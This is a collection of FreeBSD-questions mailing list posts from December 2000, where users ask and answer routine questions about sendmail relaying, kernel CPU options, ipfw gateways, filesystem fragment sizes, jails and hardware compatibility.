I'm embarassed to be writing to this list today.  Perhaps the flu has
impeded my ability to figure this out on my own...

I'm using mutt as my e-mail client.  mutt-1.2.5 to be exact.  I'm have a
cable modem connection to my ISP, where my POP e-mail box resides. They
have 2 servers to process mail, 1 for pop (incoming) mail and 1 for SMTP
(outgoing) mail.  I'm using fetchmail to get my mail from the ISP.  No
problems there.  However, I'm having some problems sending mail through
the SMTP server.

Am I correct in thinking that I should edit the /etc/mail/sendmail.cf file
to read:

# "Smart" relay host (may be null)
DSsmtp.mail.myisp.com 

where 'smtp.mail.myisp.com' is the hostname of the SMTP server?  I did
this and when I sent out a test e-mail, I got the response:

Diagnostic-Code: SMTP; 521 Mail not accepted from this domain: 521
myisp.com closing transmission channel.  You must be pop-authenticated
before you can use this smtp server, and you must use your mail address
for the Sender/From field.

I'm not very savvy with sendmail configuration.  At least not yet.  Can
anyone point me in the right direction on how to tell sendmail what my
userid and password are for the SMTP server?  Or is there an easier way to
do this?  (I have a tendancy to take the path of MOST resistance :) )

I TRULY appreciate any help that you can provide.

Sincerely,
Mike Harlan
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Hi All,

I am purchasing a new Intel system specifically for running FreeBSD.
I would like to know which systems are compatible with FreeBSD before
I purchase one. When I go to the FreeBSD Web site I can find a
hardware compatibility list indicating which cards and peripherals
are compatible with the operating system, but I can't find a list of
compatible pre-build systems.

Can someone please point me in the direction of such a list, or give
me some general advice, as I don't want to buy a Dell xxxx (or
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On Sun, Dec 10, 2000 at 08:03:10PM +0100, Francesco Pennelli wrote:
> I'd like to have 3DNOW! optimization, is it possible to compile a kernel
> with this feature?
> 
> Thank you for your time
> 
> Francesco Pennelli
> seroton@iol.it
> 
> 
> 
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Sorry for the late post, but I couldn't read the mailing list last week.

I have an AMD K6-2 3D 300 MHz processor. I think we can't have 3DNOW!
optimization enabled in the kernel (and it would be useless for the
performance, I think) but you can enable the following options in the kernel
config file:

machine   i386
cpu       I586_CPU

options  CPU_FASTER_5X86_FPU   #Enables a faster FPU exception handler
options  CPU_SUSP_HLT          #Enables suspend on the HALT instruction
options  CPU_WT_ALLOC          #Enables write allocation on AMD K6-2
options  NO_F00F_HACK          #Not a iPentium
options  NO_MEMORY_HOLE        #15-16MB range not occupied by ISA memory hole

These are all the K6-related options I could find. See LINT for more
information and options.

Also, modify CFLAGS and COPTFLAGS variables in /etc/make.conf:

CFLAGS?= -O -pipe
COPTFLAGS?= -O -pipe

Don't use optimization setting above -O (-O2, ...) as they are not supported
(reliability is much more important than performance!).
 
	Francesco Casadei

P.S. Please, let me know if you find other optimization settings!


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Well, when I have a MS client ftp a long filename with spaces interspersed in
the name, I use ', 2 over from the "l" key, for those that may confuse it with
the backwards `.  Maybe that will handle the slashes also.

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On Wed, 20 Dec 2000, Richard Schuder wrote:

> Here's a tough one!
> 
> I want to replace the two dots ``..'' with a URL address like
> ``http://website.address.com'' in the following text:
> 
> "../path/to/website/index.html"
> 
> The vi command would be...
> 
> :s/\../http://website.address.com
s/\.\./http:\/\/website.address.com/
> 
> but, the two forward slashes following "http:" confuse vi's replace command.

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i've tried to configure my soundcard in many different ways and i still keep 
having problems.
i've removed all devices but the video card and soundcard. and it still 
doesn't work.
i suppose a clue to this problem is the fact that dmesg reports the 
following: 'vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 
0xa0000-0xbffff on isa0', but 'isa0' seems to be be configured for the 
soundcard below:
sbc0: <Creative SB AWE64> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 
drq 1,5 on isa0
pcm0: <SB DSP 4.16> on sbc0
i'm kinda tired of messing around with this configuration. if you think that 
is easier to just get a new soundcard, i would probably do that instead. if 
so, what is the best videocard to buy with the least possible configuration 
issues? is pci better that isa?
any assistence would be appreciated...
thanks,
sergio brito
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It sounds to me like they are doing POP before SMTP auth. If this is the
case, you would need to login into your pop account before being able to
send any email via the SMTP server.

This means that you will not be able to use them as a general relay from
your system.

Someone may have made a script somewhere to get around such things, but I do
not have it.


HTH


Erin


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> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Michael D.
> Harlan
> Sent: Wednesday, December 20, 2000 10:12 AM
> To: freebsd-questions@FreeBSD.ORG
> Subject: SMTP Server / Pop-Authentication
>
>
> Hi All,
>
> I'm embarassed to be writing to this list today.  Perhaps the flu has
> impeded my ability to figure this out on my own...
>
> I'm using mutt as my e-mail client.  mutt-1.2.5 to be exact.
> I'm have a
> cable modem connection to my ISP, where my POP e-mail box
> resides. They
> have 2 servers to process mail, 1 for pop (incoming) mail and
> 1 for SMTP
> (outgoing) mail.  I'm using fetchmail to get my mail from the ISP.  No
> problems there.  However, I'm having some problems sending
> mail through
> the SMTP server.
>
> Am I correct in thinking that I should edit the
> /etc/mail/sendmail.cf file
> to read:
>
> # "Smart" relay host (may be null)
> DSsmtp.mail.myisp.com
>
> where 'smtp.mail.myisp.com' is the hostname of the SMTP server?  I did
> this and when I sent out a test e-mail, I got the response:
>
> Diagnostic-Code: SMTP; 521 Mail not accepted from this domain: 521
> myisp.com closing transmission channel.  You must be pop-authenticated
> before you can use this smtp server, and you must use your
> mail address
> for the Sender/From field.
>
> I'm not very savvy with sendmail configuration.  At least not
> yet.  Can
> anyone point me in the right direction on how to tell sendmail what my
> userid and password are for the SMTP server?  Or is there an
> easier way to
> do this?  (I have a tendancy to take the path of MOST resistance :) )
>
> I TRULY appreciate any help that you can provide.
>
> Sincerely,
> Mike Harlan
> r3mdh@rworld.org
>
>
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> Sorry for the late post, but I couldn't read the mailing list last week.
>
> I have an AMD K6-2 3D 300 MHz processor. I think we can't have 3DNOW!
> optimization enabled in the kernel (and it would be useless for the
> performance, I think) but you can enable the following options in the
kernel
> config file:
>
> machine   i386
> cpu       I586_CPU
>
> options  CPU_FASTER_5X86_FPU   #Enables a faster FPU exception handler
> options  CPU_SUSP_HLT          #Enables suspend on the HALT instruction
> options  CPU_WT_ALLOC          #Enables write allocation on AMD K6-2
> options  NO_F00F_HACK          #Not a iPentium
> options  NO_MEMORY_HOLE        #15-16MB range not occupied by ISA memory
hole

Um, having 3D-Now! (SIMD) instructions, the K6-2 is most certainly an MMX
processor, so why aren't you using cpu I686_CPU ?


I've always been somewhat curious on this.  Can we more explicitly label
what is 586 and 686 ?  Pentium (P54C), Pentium MMX, Pentium Pro, Pentium II,
Celeron, Pentium III, Pentium IV, AMD K5, AMD K6, AMD K6-2, AMD K6-3, AMD
Athlon K7, AMD Athlon Thunderbird, AMD Duron, WinChips etc are ALL piled in
that group somewhere.  I always considered it to be, 586 = No MMX, 686 = Yes
MMX, the exception being PPro, which I would call 686.  Someone with a
little more knowledge of the kernel optimizations help us out here ?




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I installed the latest version of freebsd and enabled xdm.
When xdm starts, i try to login as root but it wont let me in, it does
not give me error message. But if i log in as a normal user, i have no
problem. What could be wrong?

Another thing, when kde starts after logging in as normal user
and open a shell and type su at the command prompt, it says that I
am not in the correct group to su to root. What can I do so that I can su to 
root.

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Hello,

When I start Apache 1.3.14/FreeBSD4.0 (after an upgrade from 1.3.12) I have
the following error message :

[crit] (42) Protocol not available: make_sock: for port 80, setsockopt:
(SO_ACCEPTFILTER)

The httpd process does not start.

I had not this pb with Apache 1.3.12. I have searched several hours what is
happening but did not find anything. Any help would be appreciated.

Thank you.


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Check out 

http://www.freebsdsystems.com

Jim

On Wed, 20 Dec 2000, Stuart Morse wrote:

> Hi All,
> 
> I am purchasing a new Intel system specifically for running FreeBSD.
> I would like to know which systems are compatible with FreeBSD before
> I purchase one. When I go to the FreeBSD Web site I can find a
> hardware compatibility list indicating which cards and peripherals
> are compatible with the operating system, but I can't find a list of
> compatible pre-build systems.
> 
> Can someone please point me in the direction of such a list, or give
> me some general advice, as I don't want to buy a Dell xxxx (or
> something) and find it is not compatible with FreeBSD.
> 
> Regards,
> 
> Stuart
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On Wed, Dec 20, 2000 at 10:30:58AM -0800, Jeremiah Gowdy wrote:
> > Sorry for the late post, but I couldn't read the mailing list last week.
> >
> > I have an AMD K6-2 3D 300 MHz processor. I think we can't have 3DNOW!
> > optimization enabled in the kernel (and it would be useless for the
> > performance, I think) but you can enable the following options in the
> kernel
> > config file:
> >
> > machine   i386
> > cpu       I586_CPU
> >
> > options  CPU_FASTER_5X86_FPU   #Enables a faster FPU exception handler
> > options  CPU_SUSP_HLT          #Enables suspend on the HALT instruction
> > options  CPU_WT_ALLOC          #Enables write allocation on AMD K6-2
> > options  NO_F00F_HACK          #Not a iPentium
> > options  NO_MEMORY_HOLE        #15-16MB range not occupied by ISA memory
> hole
> 
> Um, having 3D-Now! (SIMD) instructions, the K6-2 is most certainly an MMX
> processor, so why aren't you using cpu I686_CPU ?
> 
> 
> I've always been somewhat curious on this.  Can we more explicitly label
> what is 586 and 686 ?  Pentium (P54C), Pentium MMX, Pentium Pro, Pentium II,
> Celeron, Pentium III, Pentium IV, AMD K5, AMD K6, AMD K6-2, AMD K6-3, AMD
> Athlon K7, AMD Athlon Thunderbird, AMD Duron, WinChips etc are ALL piled in
> that group somewhere.  I always considered it to be, 586 = No MMX, 686 = Yes
> MMX, the exception being PPro, which I would call 686.  Someone with a
> little more knowledge of the kernel optimizations help us out here ?
> 
> 
> 
> 
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> end of the original message

The answer is simple:

casimiro> dmesg
Copyright (c) 1992-2000 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
        The Regents of the University of California. All rights reserved.
FreeBSD 4.2-STABLE #0: Mon Dec  4 03:16:09 CET 2000
    root@goku.kasby:/usr/obj/usr/src/sys/GOKU
Timecounter "i8254"  frequency 1193182 Hz
CPU: AMD-K6(tm) 3D processor (297.68-MHz 586-class CPU)
                                         ^^^^^^^^^^^^^
  Origin = "AuthenticAMD"  Id = 0x580  Stepping = 0
  Features=0x8001bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8,MMX>
  AMD Features=0x80000800<SYSCALL,3DNow!>
[...]

I tried to compile the kernel with "cpu I686_CPU", but the kernel did not even
boot!

	Francesco Casadei




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Well there is another option you may not know about....

Encrypion on the physical level.

3Com make new network cards with built in encryption that works up to full
duplex 100Meg.

Secures sensitive data by delivering 3DES,DES,MD5,and SHA-1

Check out the specs here....
http://www.3com.com/products/nics/3cr990fb.html

I don't know if anyone has built any drivers for FreeBSD, but I think it's
worth it. They make one for the server too that allows redundant NIC's for
failover protection.

There appear to be beta drivers for Linux for these network cards as well...
http://support.3com.com/infodeli/tools/nic/linuxdownload.htm

I can sell the 3CR990-TX-97 which provides 168 Bit encryption for about $120
each.
And the 3CR990-SVR-97 for $115.

I haven't used these, but the principal sounds good. I think the only
drawback is, any server using one probably has to have one in each client
computer, or there would be no way for them to speak to each other. This
would rule out some other equipment as well, but they are supposed to be
compliant with IPSec.

If anyone has used these, I would be interested in hearing how well they
work in a "real" environment running other O/S's and routers and such.

Chuck

> -----Original Message-----
> From: owner-freebsd-security@FreeBSD.ORG
> [mailto:owner-freebsd-security@FreeBSD.ORG]On Behalf Of Dmitry Galyant
> Sent: Wednesday, December 20, 2000 6:58 AM
> To: Artem Koutchine
> Cc: Jonas Luster; security@FreeBSD.ORG; questions@FreeBSD.ORG
> Subject: Re: What anti-sniffer measures do i have?
>
>
> On Wed, 20 Dec 2000, Artem Koutchine wrote:
>
> > Date: Wed, 20 Dec 2000 15:27:41 +0300
> > From: Artem Koutchine <matrix@ipform.ru>
> > To: Jonas Luster <JonasL@webex.com>, security@FreeBSD.ORG,
> >      questions@FreeBSD.ORG
> > Subject: Re: What anti-sniffer measures do i have?
> >
> > Hello again!
> >
> > Well, i am depressed now :( The issue is even worse than i thought
> > at first. So, SHOUD I upgrade to switches? Will they REALLY help?
> >
> > Or should i build a simple FreeBSD router for each branch of the tree
> > with a buch of ethernet cards. For example. In a room with 8 computers i
> > will install a Pentium MMX with 8 PCI slots and 8 network cards
> and route
> > pure IP, no MAC  addresing (i don't need ipx rounter or
> anything, just ip).
>
> and don't forget give root shell to this 8 mans ;-)
> switch has no shell - imho it's better way.
>
> >
> > Is there relatively cheap switches wich do the same? Is it even
> a solution?
>
>
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         xl0        xl1
--|DSL|----|freebsd |----|LAN|--
  |Rtr|  ^ |firewall| ^
         |            |
         +------------+
         128.97.10.0/24


Is this possible? (I have attempted to show a freebsd machine with two
interfaces, both on the same subnet but connected to different hubs)

If so, how does firewall machine know which interface to use when sending a
packet to the 128.97.10.0/24 subnet?

If not, how does one implement a firewall (without using nat) on an 'isp
assigned' subnet?  I've read countless faqs on nat-style firewalls and ipfw
rules, but none seem to address this "one subnet" issue.

Thanks for your help,

Chris


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Can you post the contents of your /etc/fstab?

BTW - I am the one who wrote the response below...  Why were you
unable to reply to me?

On Wed, Dec 20, 2000 at 03:22:50PM +0100, Willem van Veelen wrote:
> At 17:40 19-12-00 -0500, you wrote:
> 
> I cannot reply to the person that was helping me before, so I did it this way.
> Please help me out
> 
>  > It sounds like something is going wrong at boot, dropping you into
>  > single-user mode.  You will have to be a little more specific
>  > about the 'bla bla bla' part of the output if you want anybody
>  > to be able to help you figure out what's going wrong, though...
> 
> 
> Sorry, you're right, I need to be more specific.
> Here is the message I get when i boot up:
> 
> --
> Can't check filesystem
> Unexpected inconsistency: run fsck manually
> Enter full pathname of ehll or RETURN for /bin/sh
> --
> 
> 
> 
> When I run fsck the following message is displayed:
> 
> --
> Can't open /dev/ad0s1a: invalid argument
> Can't open /dev/ad0s1f: invalid argument
> Can't open /dev/ad0s1e: invalid argument
> --
> 
> So, as long I'm stil a newbey - can you explane what this exactly means.
> Thanks.
> 
> greetings,
> 
> Willem van Veelen
> willem@melp.nl.com
> 
> 
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"Allan P. Magmanlac" schrieb:
> 
> I installed the latest version of freebsd and enabled xdm.
> When xdm starts, i try to login as root but it wont let me in, it does
> not give me error message. But if i log in as a normal user, i have no
> problem. What could be wrong?

check ~/.xinit and ~/.xsession
Errors in .xsession get collected in .xsession-errors.

> Another thing, when kde starts after logging in as normal user
> and open a shell and type su at the command prompt, it says that I
> am not in the correct group to su to root. What can I do so that I can su to
> root.

As root, add yourself to the wheel group in /etc/groups. You have to be
member of the group wheel to be able to use su.

HTH
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As the subject of this mail implies, I constantly run into the error of
"Can't transfer bin distribution from ad0s1" (or similar) whenever
attempting to install (the minimum - \bin installation) FreeBSD 4.2 from a
(Fat32) Dos partition. So far i've tried all sorts of variations of
directory structures for the source of the installation (including the
suggested *correct* structure) ; ie. copying all files to c:\Freebsd\ ,
c:\bin, copying the *.inf files all over the place so the installation can
find them, etc. Why exactly does the FreeBSD installation have a problem
with finding the source for the installation? Has anyone else run into
problems like this?
    *thanks*
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Is there a utility I can use to determine how congested our internet connection
is?  I've got a FreeBSD box that's serving as a NAT gateway for our LAN and I'd
like to know how much we are utilizing our T1.  Ideal would be something like
uptime - average load over the last 1, 5 and 15 minutes.

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It sounds like you might get some use out of /usr/ports/net/mrtg.

mark_wright@datacard.com wrote:

> Is there a utility I can use to determine how congested our internet connection
> is?  I've got a FreeBSD box that's serving as a NAT gateway for our LAN and I'd
> like to know how much we are utilizing our T1.  Ideal would be something like
> uptime - average load over the last 1, 5 and 15 minutes.
> 
> Mark.
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From owner-freebsd-questions  Wed Dec 20 12:23:11 2000
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On one of our servers that is running at Gigabyte
GA-6BXU, the boot process freezes on 4.1.1 and 4.2,
but works perfectly in 4.1(which is why we are once
again downgrading to 4.1). The problem, as reported by
kernel  -v is when it attempts to scan the isa bus for
PnP devices. I have disabled the PNP OS is in the
BIOS, Enabled it, tried manually configuring the ISA
devices(instead of Auto for PNP in the BIOS, set it to
Manual). I tried disabling the PNP parallel port bus
scan as specified in LINT, I added the PNPBIOS option
to the kernel, nothing worked or even helped. I was
wondering if anyone knew of a way to fix this, or if
it will be fixed in the base system, or if there is
some way to completely disable PNP in 4.2. I know
there was in 2.2.x and I think in 3.x, but it seems to
have disappeared in 4.2. Thanks, and please reply to
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how about debian debs?

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Hi

I have machine that I would like to make a copy of the hard drive.  Any idea 
what software will work or options I have.

Thanks

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>A couple of months ago I searched the on-line catalog of Addison-Wesley
>(www.awl.com) for a book about FreeBSD. The search returned "The Design And
>Implementation Of FreeBSD Operating System", copyrighted 2001. There was no
>further information (TOC, cover photo, etc.).
>   About two-three weeks ago I searched again for the book, to see more info
>about it, but I couldn't find it anymore! What's happened? Will it still be
>available in the first quarter of 2001?

   It is still planned, but won't be out until at least Q3 2001.

-DG

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Scott M. Lewandowski <sml_freebsd_questions@hotmail.com> types:
> Mike,
> 
> Thanks very much for this response. I did not understand the "fragment"
> concept, but I think I do now.

Please leave the mail on -questions so it goes into the archives (and
so others can answer if I'm wrong).

> So for my configuration, where I want to store lots of relatively small
> email files (~80,000 files, 90% of which are < 1K), do you have
> recommendations for block size/fragment size/inode density settings? It
> looks like I could benefit from 512 byte blocks, but maybe I should just use
> the default of 1K. If I use that default, is there harm in sticking with the
> default block size of 8K? I don't see anything in the man page that
> discusses the ramifications of block and fragment size (other than the
> obvious, such as wasted space). Also, I assume that decreasing inode density
> doesn't cause any ill side effects, other than taking up more space for the
> inodes themselves, right?

If your files really are mostly less than 1K - and most of them are >
512 bytes, which I expect is true for mail, then 512 vs. 1K fragments
won't make a lot of difference. If you stay with 1K frags, you might
as well stay with 8K blocks. If you go with 512 byte frags, you have
to lower the block size to 4K.

I'd raise the inode density for this case, otherwise you risk running
out of inodes (one required per file) before you run out of disk
space. The man page for newfs notes for the -i flag that "this value
effectively specifies the average file size on the file system." The
default is four times the frag size, which is going to be much to
large for what you have in mind.

	<mike

> Thanks for your original replies, and any further info you can offer!
> 
> Scott
> 
> ----- Original Message -----
> From: Mike Meyer <mwm@mired.org>
> To: <questions@freebsd.org>; <sml_freebsd_questions@hotmail.com>
> Sent: Tuesday, December 19, 2000 11:00 PM
> Subject: Re: Minimum filesystem block size
> 
> 
> > Mike Meyer <mwm@mired.org> types:
> > > Scott M. Lewandowski <sml_freebsd_questions@hotmail.com> types:
> > > > I am thinking of deploying qmail to take advantage of the Maildir
> format
> > > > that it offers. However, it seems like this will be very wasteful of
> space.
> > > > According to the newfs man page, the minimum disk block size is 4096
> bytes.
> > > > Since Maildir stores each new mail message, as well as all archived
> mail
> > > > messages, as separate files, this means that each email will take up
> 4K of
> > > > disk space, even though my average mail message is only ~1K. Is this
> > > > correct, or am I missing something? Is there any way to use a smaller
> block
> > > > size on a new filesystem?
> > > You're missing fragments in the file system. Any partial blocks in a
> > > file are stored in fragments, not blocks, and fragments are shared
> > > amongst files. I always use the default (1k), but it can be as low as
> > > 512 bytes (with 4K blocks). Reread the newfs man page for details.
> >
> > Just to clarify the "fragments are shared amongst files", I meant that
> > blocks that hold fragments can hold fragments from more than one
> > file. So with three files of sizes 24K + 828 bytes, 576 bytes, and
> > 1812 bytes on a 4K/1K file system, you get a file with 6 blocks and a
> > fragment (828 bytes of 1K) and two files that are pure fragment; one
> > being one fragment (576 bytes of 1K) and one of two (1812 bytes of
> > 2K). The fragments could all fit in one block, meaning your total disk
> > usage is 7 blocks (6 blocks for the first file, and one block for the
> > fragments of all the rest), not counting inodes, directory blocks,
> > etc.
> >
> > <mike
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Are there plans to have modlogan:
http://www.kneschke.de/projekte/modlogan/
put in the ports collection for stable?  There is a port for it available:
http://www.leidinger.net/FreeBSD/

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Hi,

I am slowly converting my web server farm from Linux to FreeBSD. In Linux I
can set tcp_syncookies which gives me too things, 1) basic syn flood
protection, and 2) a message in the syslog telling me about possible syn
flooding.

How do I do this with FreeBSD 4.2-Release?

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-Max


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* Max Clark <max@ussearch.com> [001220 13:59] wrote:
> Hi,
> 
> I am slowly converting my web server farm from Linux to FreeBSD. In Linux I
> can set tcp_syncookies which gives me too things, 1) basic syn flood
> protection, and 2) a message in the syslog telling me about possible syn
> flooding.
> 
> How do I do this with FreeBSD 4.2-Release?

FreeBSD doesn't use syncookies, but is still very resistant to SYN flood.

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I trying to setup inn and I have run makehistory but after I run
su news -c /usr/local/news/bin/rc.news my syslog has the error -
Dec 20 16:52:02 kennyu innd: SERVER cant dbzinit /usr/local/news/db/history 
Numerical argument out of domain

Could some-one tell me what I'm doing wrong or direct me to some good 
cheat-sheets |
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Please also cc the answer direct to me since I get questions in digest form 
and I'm hacking
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Thanks a bunch.

cheers

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I trying to setup inn and I have run makehistory but after I run
su news -c /usr/local/news/bin/rc.news my syslog has the error -
Dec 20 16:52:02 kennyu innd: SERVER cant dbzinit /usr/local/news/db/history 
Numerical argument out of domain

Could some-one tell me what I'm doing wrong or direct me to some good 
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Please also cc the answer direct to me since I get questions in digest form 
and I'm hacking
now :-)

Thanks a bunch.
cheers

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Hi all,

I know some folks who have gotten a rather big contract to set up a number
of kiosks for a library - currently they're using RedHat, because they could
easily find instructions for making a bootable CD with a working OS on it.
However, I don't intend on letting anyone I know use RedHat 7.0 if at all
possible.  What I need to know is, how would one make a bootable CD with a
full FreeBSD install, ie, X11, Netscape, etc.?  I think if I can get this
information for them, I can sway them from the dark side.  I'd really
appreciate any help...

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Tyler K McGeorge <treznor@sunflower.com> types:
> University of California at Berkeley at one point in time bought the =
> rights to work on UNIX from Bell Systems back in 1978. They shortly =
> thereafter forged their own variant of UNIX which they called BSD =
> (Berkeley Software Distribution). Soon after came 2BSD (which shipped 75 =
> copie, as opposed to the 30 shipped of BSD.) 2.8.1BSD gave way to many =
> enhancements, and is more important than 3BSD in that aspect.=20
> 4BSD was released in 1980, 4.1BSD in 1981 (which has revisions made =
> between 82 and 83), 4.2 in 83, and finally 4.4BSD in 93. (I think some =
> of those dates are inaccurate, but I only have one source on this at the =
> moment.)) After 4.4BSD, UCB was forced to become BSDI, which is now a =
> major non-free Unix. Using 4.4BSD, there have been multiple offspring. =
> OpenBSD, NetBSD, FreeBSD and BSD Lite. Open referring to Open source, =
> Net referring to Networking based and Free being without cost. BSD Lite =
> is a small version of BSD (never really had much experience with =
> anything but FBSD.)

Some corrections:

When UCB got their first Unix tape, the *only* way you could get it
was as a source distribution from WE. Everyone who had Unix had the
right to work on it, and people regularly swapped
patches/applications/etc. for them. The folks at UCB did enough work
that they bundled them up.

3.0 was the VAX version of BSD; BSD 2.x continued through at least
2.11, as a distribution for PDP/11s. Later, the Computer Systems
Research Group at UCB got a government contract to add a TCP/IP stack,
which is how the 4.x distributions were funded.

UCB turning into BSDI is an interesting image - what became of the
tens of thousands of students, the buildings, and the other things one
associates with a university?

In any case, after 4.3 the federal funding vanished (the project was
pretty much finished). 4.3 came in two different versions: 4.3 BSD and
4.3BSD Lite (aka Net). The latter was supposedly free of AT&T code,
and hence didn't require a license from AT&T to use or sell.  Many of
the people at CSRG formed BSDI, to market the software they had
written - without getting a license from AT&T. 386BSD was also derived
from that code, and release as an open source project.  AT&T objected,
there was a lawsuit, AT&T got zapped for violating the BSD license,
and the end result was that most of the BSD source was available for
others to use. A final BSD distribution was done - 4.4BSD (requiring
an AT&T license) and 4.4BSD Lite (which didn't).

While this was going on, 386BSD had spawned NetBSD and FreeBSD.  When
it arrived, 4.4BSD Lite was merged into the ongoing development of
those systems, as well as BSDI. Later, OpenBSD split from NetBSD over
what amounted to personality clash.

> And if the rumors I've heard have any validity, I hear FBSD 5.0 is =
> planning on united OBSD, NBSD and FBSD. Yay!

Well, BSDI and Walnut Creek CDROM (a source of much FreeBSD stuff)
merged, and a lot of the BSDI source code became available to the FBSD
group. I'm not privy to what's going on inside, but it would make
sense to me if all the popular components of BSDI merged with FBSD,
and BSDI started concentrating on selling support and hardware. That's
pretty much what VA Linux has done for Linux.

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Mark Saldanha schrieb:
> 
> Hi
> 
> I have machine that I would like to make a copy of the hard drive.  Any idea
> what software will work or options I have.

It would help if you told us if you plan to use the copy as backup, to
create a duplicate from your current machine, or whatever.
If you're running FreeBSD, you may use dd to pipe a complete harddisk to
another media. If not, you're asking the wrong list.

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On Wednesday 20 December 2000 13:48, you wrote:
> I don't know enough about KDE2.X, but the object being built in the
> make is called nspluginviewer. Perhaps this is some kind of
> Netscape/Mozilla integration into KDE?
>
> It _is_ interesting that it's being linked against both libqt2 _and_
> libXm; quite a hybrid!

AFAIK, I needed lesstif to include Netscape plugin support in my kde2.0 built 
(not 2.0.1, though I'm about to give that one a try). Don't know what exactly 
is the relationship between lesstif and OpenMotif.. are they interchangable 
(or supposed to be so)? Try it with lesstif instead of openmotif maybe...


Best regards,

Danny


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On Wednesday 20 December 2000 13:48, you wrote:
> I don't know enough about KDE2.X, but the object being built in the
> make is called nspluginviewer. Perhaps this is some kind of
> Netscape/Mozilla integration into KDE?
>
> It _is_ interesting that it's being linked against both libqt2 _and_
> libXm; quite a hybrid!

AFAIK, I needed lesstif to include Netscape plugin support in my kde2.0 built 
(not 2.0.1, though I'm about to give that one a try). Don't know what exactly 
is the relationship between lesstif and OpenMotif.. are they interchangable 
(or supposed to be so)? Try it with lesstif instead of openmotif maybe...


Best regards,

Danny


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This sounds like a very worthwhile project. I've supported a few kiosk
operations that use either some rendition of Windows or AppleMac equivalents
..... none of them has proven to be anywhere near reliable. I managed to get
Windows running off a CD (with a small hard drive for swap space) but
there's gotta be a better way !!!

----- Original Message -----
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> Hi all,
>
> I know some folks who have gotten a rather big contract to set up a number
> of kiosks for a library - currently they're using RedHat, because they
could
> easily find instructions for making a bootable CD with a working OS on it.
> However, I don't intend on letting anyone I know use RedHat 7.0 if at all
> possible.  What I need to know is, how would one make a bootable CD with a
> full FreeBSD install, ie, X11, Netscape, etc.?  I think if I can get this
> information for them, I can sway them from the dark side.  I'd really
> appreciate any help...
>
> -lx
>
>
>
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I dunno if this enquiry was related to earlier ones from at least two people
about making bootable operating systems on a CD-ROM. I wouldn't have
thought it possible to "dd" to a CD .......or is it ?????


----- Original Message -----
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>
>
> Mark Saldanha schrieb:
> >
> > Hi
> >
> > I have machine that I would like to make a copy of the hard drive.  Any
idea
> > what software will work or options I have.
>
> It would help if you told us if you plan to use the copy as backup, to
> create a duplicate from your current machine, or whatever.
> If you're running FreeBSD, you may use dd to pipe a complete harddisk to
> another media. If not, you're asking the wrong list.
>
> HTH
> -Christoph Sold
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HI everyone !!

Is there a way I can get the freeBSD-2.2.5 ...the specific version is very
important for implementing the modified ALTQ daemon that i have to work
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Hi,

I have been trying to install FreeBSD 4.2 onto a machine using a Mylex raid
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The boot cd identifies the drive okay, I can format the system and
successfully install the packages, however when I reboot I get an OS not
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What am I missing? How do I install FreeBSD onto a system that uses a Raid
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As far as I can tell the only O/S's that even make an attempt to work =
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Jason,

	You may want to look at ProFTPD, www.proftpd.net  It supports PAM,
and has modules for database based authentication.  This should yield
you want you want as far as only access to ftp and _no other_ part of the
system.

	Hope that helps

Robert Myers
ccrider@whiterose.net

-----Original Message-----
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[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Jason Halbert
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The evidence suggests that "Mike Batchelor" said:

> Hey there
>
> It seems that all you problems would be solved if you just let them
access
> your computer anonymously.
>
> Mike
>

[sniped my first post]

err...no

I don't like anonymous logins.  Unacceptable.

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Eric,

	You will need to add IP_FORWARD in the kernel config, compile and rebuild.
That option will
	allow you to forward packets accross the interfaces.  Don't forget to
enable all the rest of the IPFW
	options if you want the ability to deny traffic.....

	Also add to /etc/rc.conf gateway_enable=yes.

	I am pretty sure about these values, although I can be wrong, look for
kernel config value in
	LINT, and look for gateway_enable in /etc/defaults/rc.conf

	I think this should put you a lot closer to a NAT type setup, if you want
something more complex
	than a single IP address sharing for all of your machines, I think natd
will help you out.

	Hope that helps

Bob Myers


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Sent: Tuesday, December 19, 2000 9:06 PM
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Subject: ipfw/gateway


Hello,

	I was wondering if any knows where I can find some info on setting
up a firewall with ipfw and allowing all the boxes behind the
gateway/firewall
access to the net.  I thought this would do it:

        # Allow all from the inside.
        ${fwcmd} add pass all from any to any via ${iif}
        ${fwcmd} add pass all from any to any out via ${oif}

but it dosen't quite work.  I still can't check out the  web from behind
the firewall.  I'm using the "simple" ipfw firewall with the only
modifications
above.  I was unable to ping the gateway/firewall from the client till I
added
those rules.  Should I setup a proxy?  But how am I gonna use napster?  ;-)
Or am I just plain confused on how this all works?  Is there an easier way,
then setting up a complicated ipfw rule set?


				Thanks for any input,
				Eric Brueggmann

P.S. Please cc to my e-mail, I usually don't follow questions@.


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> On one of our servers that is running at Gigabyte
> GA-6BXU, the boot process freezes on 4.1.1 and 4.2,
> but works perfectly in 4.1(which is why we are once
> again downgrading to 4.1). The problem, as reported by
> kernel  -v is when it attempts to scan the isa bus for
> PnP devices.

Can you be more specific about this?  At which point, exactly, is the 
system hanging?  A transcript of the console output would be handy.

Note that the PnP probe message actually preceeds a pile of other things 
which can also fail; don't make the assumption that just because it's 
said "PnP" that that's what's going on. 8)

> I was
> wondering if anyone knew of a way to fix this, or if
> it will be fixed in the base system, or if there is
> some way to completely disable PNP in 4.2.

There are no known problems with PnP in 4.2, so there's nothing that's 
going to be fixed unless we can characterise your problem here.

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Morning all ...

	I'm trying to figure out a way fo cleanly sharing directories
betwen jail environments, and am running against a few 'brick walls', and
am wondering if anyone has any ideas ...

	Right now, I have a server that has 30 jail environments
configured onto it ... works great, but I'd like to work on reducing some
of the duplication of files, if I can, so that I don't have to upgrade 30
servers when I need to upgrade a piece of software, or, at the very least,
not have 30+ /usr/ports to update ...

	Now, someone had one suggested a hard link, but you can't do that
with directories according to the docs, so that idea is out ... and a
symlink won't go "through" the chroot() environment ... 

	So, I think, that leaves using nfs ... nfsd lets you bind to a
particular IP, so I can bind that to the base machines IP no problem, but
eventually it times out cause portmap isn't running, so that appears to be
out ...

	Next option is to put /usr/ports on another machine and nfs mount
from there, which I can do similar to what I do for procfs, but now I'm
going to have 30+ nfs mounted /usr/ports directories ...

	First question ... is there an easier way of doing this then using
nfs?

	Second question ... if not, are there any limits to the number of
file systems I can nfs mount from one server to another before I run into
